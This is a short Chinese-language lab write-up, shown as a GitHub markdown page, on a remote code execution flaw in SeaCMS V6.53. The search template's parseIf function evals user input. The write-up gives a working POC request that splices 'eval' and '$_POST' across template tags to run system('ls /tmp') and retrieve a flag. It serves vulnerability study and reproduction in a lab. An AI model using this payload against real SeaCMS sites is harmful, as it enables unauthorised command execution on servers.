Skip to content

Latest commit

 

History

History
23 lines (13 loc) · 716 Bytes

海洋cms_V6.53版本代码执行.md

File metadata and controls

23 lines (13 loc) · 716 Bytes

海洋 cms V6.53版本代码执行 by Frivolous-scholar

概述

echoSearchPage 函数中的 content 变量传给了 parself 函数,跟踪代码,找到 ./include/main.class.php,可以看到 parseIf 函数会将content内容 eval 执行,造成命令执行。

复现

1、首先打开靶场。

1

2、进行搜索并抓包。

2

3、利用 POC 来拿 Flag,POC 如下。

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("ls /tmp");

3